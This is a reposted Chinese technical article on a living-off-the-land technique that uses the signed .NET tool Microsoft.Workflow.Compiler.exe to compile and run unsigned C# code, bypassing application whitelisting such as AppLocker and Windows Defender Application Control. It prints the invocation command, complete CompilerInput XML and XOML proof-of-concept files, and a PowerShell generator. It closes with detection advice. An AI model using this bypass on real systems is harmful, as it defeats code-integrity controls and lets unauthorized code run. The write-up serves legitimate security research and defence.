温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码

发布时间:2021-11-11 11:57:34 来源:亿速云 阅读:165 作者:柒染 栏目:编程语言

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

绕过技术

Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。这种绕过技术跟CaseySmith的msbuild.exe绕过技术的工作机制非常类似。Microsoft.Workflow.Comiler.exe需要两个命令行参数,第一个参数必须是一个XML文件(由一个序列化CompilerInput对象构成)的路径,第二个参数则是写入序列化编译结果的文件路径。

执行向量的根节点是Microsoft.Workflow.Comiler.exe调用攻击者提供的Assembly.Load(byte[])方法,但是仅仅加载编译文件并不能实现代码执行,当攻击者以XOML文件的形式提供C#或VB.Net代码时,系统在汇编过程中会调用类构造器,这里唯一的限制是类构造器必须派生自System.Workflow.ComponentModel.Activity类。

这种技术可以绕过目前很多安全产品上的代码完整性控制机制,例如WindowsDefender应用程序控制(包括Windows 10S)、AppLocker以及其他基于应用白名单的产品。但是这里我们并不是要担心如何绕过应用白名单,我们需要关注的是如何通过已签名且受信任程度高的内置应用程序来执行任意未签名的代码。

绕过技术PoC

攻击流程如下:

1.将制作的XOML文件存储到目标磁盘中,XOML文件中应包含攻击者提供的C#或VB.Net代码以供编译、加载和调用。攻击逻辑需在类构造函数中实现,该类派生自System.Workflow.ComponetModel.Activity类。

2.将包含序列化CompilerInput对象的XML文件存储到目标磁盘中。

3.提供XML路径,执行Microsoft.Workflow.Comiler.exe。

下面给出的是Microsoft.Workflow.Comiler.exe的调用样例:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml

test.xml文件的内容如下:

<?xml version="1.0"encoding="utf-8"?><CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"><filesxmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><d2p1:string>test.xoml</d2p1:string></files><parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler"><assemblyNamesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><compilerOptionsi:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><coreAssemblyFileNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName><embeddedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><evidencexmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy"i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><generateExecutablexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable><generateInMemoryxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory><includeDebugInformationxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation><linkedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><mainClass i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><outputNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName><tempFiles i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><treatWarningsAsErrorsxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors><warningLevelxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel><win32Resource i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><d2p1:checkTypes>false</d2p1:checkTypes><d2p1:compileWithNoCode>false</d2p1:compileWithNoCode><d2p1:compilerOptionsi:nil="true" /><d2p1:generateCCU>false</d2p1:generateCCU><d2p1:languageToUse>CSharp</d2p1:languageToUse><d2p1:libraryPathsxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"i:nil="true" /><d2p1:localAssemblyxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection"i:nil="true" /><d2p1:mtInfo i:nil="true"/><d2p1:userCodeCCUsxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom"i:nil="true" /></parameters></CompilerInput>

test.xoml文件的内容如下:

<SequentialWorkflowActivityx:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">   <CodeActivity x:Name="codeActivity1" />   <x:Code><![CDATA[   public class Foo : SequentialWorkflowActivity {    public Foo() {            Console.WriteLine("FOOO!!!!");       }   }   ]]></x:Code></SequentialWorkflowActivity>

调用Microsoft.Workflow.Compiler.exe之后,它将会编译其中的C#代码、加载已编译的DLL、并调用“Foo”构造器。

漏洞的发现过程

我个人比较喜欢去研究关于.NET Framework方法的安全问题,比如说其中一个不安全的方法就是Assembly.Load(byte[])。这里我选择使用dnSpy工具来进行扫描判断,并在System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Compile方法中找到了如下所示的代码段:

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码

分析GenerateLocalAssembly方法的工作流程之后,我发现这个方法最终会调用标准的.NET编译/加载方法【相关资料】:

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码

仅仅加载一个汇编程序并不能实现任意代码执行,不过幸运的是,System.Workflow.ComponentModel.Compiler.XomlCompilerHelper.InternalCompileFromDomBatch方法会遍历所有已加载的汇编程序,然后实例化所有继承了System.Workflow.ComponentModel.Activity类的实例:

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码如何利用Microsoft.Workflow.Comiler执行未签名的任意代码

现在,我们几乎已经看到了任意代码执行的“希望了”,接下来我们需要弄清楚到底使用哪种代码格式,才能让程序的编译器接收输入数据以及XOML工作流文件。

当Microsoft.Workflow.Compiler.exe启动时,会将第一个参数传递给ReadCompilerInput方法,该方法接收到文件路径之后,会将其反序列化为CompilerInput对象:

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码

那么现在的问题就在于,如何才能生成序列化的CompilerInput对象呢?这里我找到了一个名叫Microsoft.Workflow.Compiler.CompilerWrapper.SerializeInputToWrapper的内部方法:

如何利用Microsoft.Workflow.Comiler执行未签名的任意代码

我还专门编写了一个PowerShell函数来实现XML文件的自动生成:

function New-CompilerInputXml {<#.SYNOPSISCreates a an XML file consisting of aserialized CompilerInput object..DESCRIPTIONNew-CompilerInputXml creates an XML fileconsisting of compiler options. This file is required as the first argument forMicrosoft.Workflow.Compiler.exe..PARAMETER XOMLPathSpecifies the path to the target XOMLfile. This can be a relative or absolute path. This path will be included inthe resulting XML file that New-CompilerInputXml outputs..PARAMETER OutputPathSpecifies the path to whichNew-CompilerInputXml will save the serialized CompilerInput object..EXAMPLENew-CompilerInputXml -XOMLPathC:\Test\foo.xoml -OutputPath test.xmlOutputs a serialized CompilerInput objectto test.xml and specifies a full path to a XOML assembly reference..EXAMPLENew-CompilerInputXml -XOMLPath foo.xoml-OutputPath test.txtOutputs a serialized CompilerInput objectto test.txt and specifies a XOML assembly reference using a relative path. Notethat Microsoft.Workflow.Compiler.exe doesn't care about the extension suppliedin the first argument..OUTPUTSSystem.IO.FileInfoOutputs a FileInfo object to serve asconfirmation that the resulting serialized XML wil was created.#>    [OutputType([System.IO.FileInfo])]   param (       [String]       [ValidateNotNullOrEmpty()]       $XOMLPath = 'test.xoml',        [Parameter(Mandatory = $True)]       [String]       [ValidateNotNullOrEmpty()]       $OutputPath   )    # This assembly won't be loaded by default. We need to load   # it in order to get access to the WorkflowCompilerParameters class.   Add-Type -AssemblyName 'System.Workflow.ComponentModel'    # This class contains the properties we need to specify forMicrosoft.Workflow.Compiler.exe   $WFCompilerParams = New-Object -TypeNameWorkflow.ComponentModel.Compiler.WorkflowCompilerParameters    # Necessary to get Microsoft.Workflow.Compiler.exe to callAssembly.Load(byte[])   $WFCompilerParams.GenerateInMemory = $True    # Full path to Microsoft.Workflow.Compiler.exe that we will load andaccess a non-public method from   $WorkflowCompilerPath =[Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() +'Microsoft.Workflow.Compiler.exe'    # Load the assembly   $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)    # This is the helper method that will serialize the CompilerInput objectto disk   $SerializeInputToWrapper =[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper',[Reflection.BindingFlags] 'NonPublic, Static')    $TempFile = $SerializeInputToWrapper.Invoke($null,@([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters]$WFCompilerParams, [String[]] @(,$OutputPath)))    Move-Item $TempFile $OutputPath -PassThru}

实际上我们只需要改变序列化CompilerInput对象中XOML文件的路径/文件名即可。

最后,我们需要将生成的C#代码嵌入到XOML文件中,最后通过Microsoft.Workflow.Compiler.exe来调用我们的恶意函数。

整个过程就是这样,不过我现在仍不清楚Microsoft.Workflow.Compiler.exe的真正用途到底是什么,而且XOML文件的意义我也不清楚,但是我感觉这个程序可能主要是给微软内部人员使用的。

检测方法

1.首先,检查当前系统中Microsoft.Workflow.Compiler.exe的使用情况,一般来说系统几乎不会用到这个工具。在Microsoft.Workflow.Compiler.exe每次运行时都产生警报,由于攻击者可以对该工具进行重命名,因此我们还需要构建相应的检测规则    。

2.攻击者在结合Microsoft.Workflow.Compiler.exe运行恶意软件时,会生成一个csc.exe或vbc.exe子进程,可以通过检测这两个子进程来判断系统的安全状况。

3.在构建和部署Yara规则时,如果文件中包含CompilerInput标签,那么该文件则可以标记为“可疑文件”。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI